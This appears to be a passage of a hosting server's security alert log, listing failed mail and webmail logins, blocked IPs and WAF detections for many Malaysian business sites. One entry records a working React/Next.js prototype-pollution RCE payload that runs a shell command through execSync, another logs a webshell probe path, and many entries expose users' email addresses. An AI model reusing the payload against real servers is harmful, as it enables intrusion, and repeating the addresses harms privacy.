IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/nadayu-63-service-apartment HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:35:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36753: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:35:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36754: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.188
country_id: 6252001
description:
2026-01-14 14:36:12 41018 [Warning] Aborted connection 41018 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.188' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.192.138.9
country_id: 1168579
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-16.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:37:00 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:13167: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 14:37:16 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:13168: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 14:41:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50691: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 14:41:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50692: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/img/photos/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-14 14:47:00 H=([77.83.39.92]) [77.83.39.92]:49260 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <cky@ahfengineering.com>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.55.171.193
country_id: 2017370
description:
2026-01-14 14:47:58 dovecot_plain authenticator failed for H=(z2dqh187qti1bo7al01s7hbxekl3) [95.55.171.193]:41033: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 14:47:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.55.171.193
country_id: 2017370
description:
Jan 14 14:47:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.55.171.193 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 42.191.134.208
country_id: 1733045
description:
[2026-01-14 14:48:32 +0800] info [webmaild] 42.191.134.208 - nazurah@fkr.com.my "GET /cpsess3649793910/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.199.117.215
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-49.185.199.117.215||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 14:51:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.212.243
country_id: 1733045
description:
[2026-01-14 14:52:58 +0800] info [webmaild] 113.211.212.243 - bell@lvconsult.com.my "GET /cpsess7892333628/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [113.211.214.9] != Current IP Address [113.211.212.243]


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 146.70.15.3
country_id: 1733045
description:
2026-01-14 14:53:28 41899 [Warning] Aborted connection 41899 to db: 'unconnected' user: 'unauthenticated' host: '146.70.15.3' (This connection closed normally without authentication)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 217.138.193.184
country_id: 290557
description:
Jan 14 14:53:28 sv3 pure-ftpd[2040418]: (?@217.138.193.184) [INFO] New connection from 217.138.193.184


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.228.60
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-34.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.136.201.133
country_id: 1210997
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/Rational.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.255.40.115
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=72701514875217 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-14 14:58:10 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-14 14:59:32 +0800] info [webmaild] 113.211.37.45 - rozyhr@tschuan.com "GET /cpsess1655842472/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 185.247.137.40
country_id: 2635167
description:
Jan 14 15:02:16 sv3 pure-ftpd[2062640]: (?@185.247.137.40) [INFO] New connection from 185.247.137.40


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 191.102.178.187
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-03.191.102.178.187||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.162.119
country_id: 3469034
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.46.238.63
country_id: 2782113
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/db HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 15:05:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36759: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.85.104.2
country_id: 6252001
description:
2026-01-14 15:05:57 dovecot_plain authenticator failed for H=(coprele) [96.85.104.2]:41768: 535 Incorrect authentication data (set_id=admin@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 15:05:22 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:36760: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.17.230
country_id: 99237
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=532851 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 96.85.104.2
country_id: 6252001
description:
Jan 14 15:05:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 96.85.104.2 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.244.117
country_id: 1733045
description:
[2026-01-14 15:05:13 +0800] info [webmaild] 27.125.244.117 - cmchin@chs.com.my "GET /cpsess0188908258/3rdparty/roundcube/?_task=mail&_framed=1&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D1%2Cwebp%3D1%2Cpgpmime%3D0&_uid=10394&_mbox=INBOX&_safe=1&_action=preview HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [182.62.161.26] != Current IP Address [27.125.244.117]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.207.225.129
country_id: 2017370
description:
Jan 14 15:07:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.207.225.129 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.207.225.129
country_id: 2017370
description:
2026-01-14 15:07:08 dovecot_login authenticator failed for H=([31.207.225.129]) [31.207.225.129]:37328: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.80.164.6
country_id: 1831722
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=900301 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.183.66
country_id: 1269750
description:
2026-01-14 15:07:16 dovecot_login authenticator failed for H=([125.19.183.66]) [125.19.183.66]:48846: 535 Incorrect authentication data (set_id=salesmp@aoto.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 15:07:34 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:13189: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.183.66
country_id: 1269750
description:
Jan 14 15:07:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.183.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.38.138.194
country_id: 285570
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=4&page_id=1&sub=3 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.148.253.235
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=825349 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.137.19.12
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=365231 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 15:09:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56060: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 15:09:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56060: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.211.212.202
country_id: 1733045
description:
2026-01-14 15:09:34 H=([192.168.1.6]) [113.211.212.202]:21471 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<vasundra@egbwawasan.com.my> A=dovecot_login:vasundra@egbwawasan.com.my temporarily rejected RCPT <SweatLing.Kor@kerrylogistics.com>: host lookup did not complete


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.205.241.191
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=444310 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.0.37.21
country_id: 3508796
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=913007 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-14 15:10:52 +0800] info [webmaild] 115.134.149.232 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.211.212.202
country_id: 1733045
description:
2026-01-14 15:11:03 H=([192.168.1.6]) [113.211.212.202]:21496 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<vasundra@egbwawasan.com.my> A=dovecot_login:vasundra@egbwawasan.com.my temporarily rejected RCPT <SweatLing.Kor@kerrylogistics.com>: host lookup did not complete


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 96.85.104.2
country_id: 6252001
description:
Jan 14 15:11:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 96.85.104.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.85.104.2
country_id: 6252001
description:
2026-01-14 15:11:25 dovecot_plain authenticator failed for H=(persely) [96.85.104.2]:40346: 535 Incorrect authentication data (set_id=rd2.project@tujusetia.my)


plugin: modsec
rule: 77093094
abuser: 3.99.151.16
country_id: 6251999
domain: ajplantations.com.my
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 96.85.104.2
country_id: 6252001
description:
Jan 14 15:13:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 96.85.104.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.62.66
country_id: 1149361
description:
Jan 14 15:13:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.62.66 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.85.104.2
country_id: 6252001
description:
2026-01-14 15:13:35 dovecot_plain authenticator failed for H=(comist) [96.85.104.2]:48884: 535 Incorrect authentication data (set_id=suzana@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.66
country_id: 1149361
description:
2026-01-14 15:13:37 dovecot_login authenticator failed for H=([149.54.62.66]) [149.54.62.66]:55008: 535 Incorrect authentication data (set_id=wgoeqsscr@euratech.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-14 15:14:02 H=([45.144.212.50]) [45.144.212.50]:63041 F=<arm@da-desk.com> rejected RCPT <celine@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.218.23.60
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=414001 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.17
country_id: 241170
description:
Jan 14 15:17:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.17 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 195.184.76.172
country_id: 6252001
description:
Jan 14 15:17:43 sv3 pure-ftpd[2100663]: (?@195.184.76.172) [INFO] New connection from 195.184.76.172


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-14 15:17:55 +0800] info [webmaild] 113.211.37.45 - rozyhr@tschuan.com "GET /cpsess1655842472/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.244.5
country_id: 1733045
description:
[2026-01-14 15:20:06 +0800] info [webmaild] 27.125.244.5 - cmchin@chs.com.my "POST /cpsess0188908258/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.244.117] != Current IP Address [27.125.244.5]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.227.136.237
country_id: 6252001
description:
Jan 14 15:19:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.227.136.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.227.136.237
country_id: 6252001
description:
2026-01-14 15:19:25 dovecot_login authenticator failed for H=(syn-072-227-136-237.res.spectrum.com) [72.227.136.237]:37322: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.36.162.92
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=1&sub=26 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.225.216.42
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&page_id=1&sub=8 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 96.85.104.2
country_id: 6252001
description:
Jan 14 15:23:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 96.85.104.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.85.104.2
country_id: 6252001
description:
2026-01-14 15:23:25 dovecot_plain authenticator failed for H=(venteomess) [96.85.104.2]:40820: 535 Incorrect authentication data (set_id=ivy@kimmark.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.218.241.245
country_id: 1819730
description:
Jan 14 15:24:33 sv3 pure-ftpd[2110902]: (?@103.218.241.245) [INFO] New connection from 103.218.241.245


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.74.136.134
country_id: 6252001
description:
Jan 14 15:25:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.74.136.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.74.136.134
country_id: 6252001
description:
2026-01-14 15:25:32 dovecot_plain authenticator failed for H=syn-050-074-136-134.biz.spectrum.com (parbil) [50.74.136.134]:51914: 535 Incorrect authentication data (set_id=webmaster@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.186.172.178
country_id: 1269750
description:
Jan 14 15:28:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.186.172.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.172.178
country_id: 1269750
description:
2026-01-14 15:28:04 dovecot_login authenticator failed for H=([127.0.0.1]) [103.186.172.178]:39859: 535 Incorrect authentication data (set_id=alexsantiago@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.59.195.186
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&sub=21 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.216.85.51
country_id: 3469034
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Old-Photo/Double Side Tape 2-1-500x500.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 15:31:26 H=([45.144.212.242]) [45.144.212.242]:58052 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 15:33:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37326: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.98.158.111
country_id: 1220409
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/turn/627/322737 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 15:33:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:37326: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 15:35:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:13779: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-14 15:35:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:13779: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 15:37:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56163: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 46.32.219.28
country_id: 6254930
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/cache/man/local/index.db||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 15:37:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56163: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 15:37:29 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62049: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.154.59
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/p-3.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 67.227.37.96
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-38.67.227.37.96||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 15:41:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62080: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 15:41:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62081: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 15:43:52 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62097: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 15:44:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62098: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.233.8.162
country_id: 2017370
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/AcceptHeader.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.33
country_id: 3469034
description:
Jan 14 15:45:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.33 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.33
country_id: 3469034
description:
Jan 14 15:46:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-14 15:46:43 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:62135: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
